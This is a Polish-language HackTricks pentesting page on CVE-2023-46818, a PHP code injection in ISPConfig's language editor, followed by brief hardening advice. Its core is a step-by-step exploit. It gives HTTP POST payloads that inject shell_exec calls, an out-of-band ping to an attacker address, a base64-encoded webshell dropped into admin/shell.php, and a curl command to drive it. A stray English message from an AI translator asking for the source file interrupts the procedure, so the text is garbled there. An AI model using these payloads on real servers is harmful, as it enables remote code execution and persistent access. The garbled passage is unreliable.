ISPConfig

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

ISPConfig to open-source panel kontrolny hostingu. Starsze wersje 3.2.x zawierały funkcję edytora plików językowych, która po włączeniu dla super administratora pozwalała na wstrzyknięcie dowolnego kodu PHP za pomocą nieprawidłowego rekordu tłumaczenia. Może to dać RCE w kontekście serwera WWW i, w zależności od sposobu uruchamiania PHP, eskalację uprawnień.

Kluczowe domyślne ścieżki:

  • Web root często w /var/www/ispconfig kiedy serwowane przy użyciu php -S lub przez Apache/nginx.
  • Admin UI dostępny na HTTP(S) vhost (czasami związany tylko z localhost; użyj SSH port-forward jeśli to konieczne).

Porada: Jeśli panel jest związany lokalnie (np. 127.0.0.1:8080), przekieruj go:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Language editor PHP code injection (CVE-2023-46818)

  • Dotyczy: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Warunki wstępne:
  • Zaloguj się jako wbudowane konto superadmin admin (inne role nie są dotknięte zgodnie z dostawcą)
  • Edytor języka musi być włączony: admin_allow_langedit=yes w /usr/local/ispconfig/security/security_settings.ini
  • Wpływ: Uwierzytelniony admin może wstrzyknąć dowolny kod PHP, który zostanie zapisany do pliku językowego i wykonany przez aplikację, co prowadzi do RCE w kontekście webowym

Referencje: wpis NVD CVE-2023-46818 oraz link do advisory producenta w sekcji Referencje poniżej.

Ręczna procedura eksploatacji

  1. Otwórz/utwórz plik językowy, aby uzyskać tokeny CSRF

Wyślij pierwsze żądanie POST, aby zainicjować formularz i sparsować pola CSRF z odpowiedzi HTML (csrf_id, csrf_key). Przykładowa ścieżka żądania: /admin/language_edit.php.

  1. Wstrzyknij PHP przez records[] i zapisz

Wyślij drugie żądanie POST zawierające pola CSRF oraz złośliwy rekord tłumaczenia. Minimalne próby wykonania polecenia:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Out-of-band test (obserwuj ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Zapisz pliki i umieść webshell

Użyj file_put_contents, aby utworzyć plik w ścieżce dostępnej z internetu (np. admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Następnie napisz prosty webshell używając base64, aby uniknąć niepożądanych znaków w treści POST:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

I don't have access to your repository. Please paste the contents of src/network-services-pentesting/pentesting-web/ispconfig.md (or upload the file). I will translate the English text to Polish, preserving all code, links, tags and markdown/html syntax per your rules.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Jeśli PHP jest uruchamiany jako root (np. przez php -S 127.0.0.1:8080 uruchomione przez root), daje to natychmiastowe root RCE. W przeciwnym razie uzyskujesz wykonanie kodu jako użytkownik serwera WWW.

Python PoC

Gotowy do użycia exploit automatyzuje obsługę tokenów i dostarczanie payloadu:

Przykładowe uruchomienie:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Utwardzanie

  • Zaktualizuj do 3.2.11p1 lub nowszej
  • Wyłącz edytor języka, chyba że jest to absolutnie konieczne:
admin_allow_langedit=no
  • Unikaj uruchamiania panelu jako root; skonfiguruj PHP-FPM lub serwer WWW tak, aby obniżał uprawnienia
  • Wymuś silne uwierzytelnianie dla wbudowanego konta admin

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks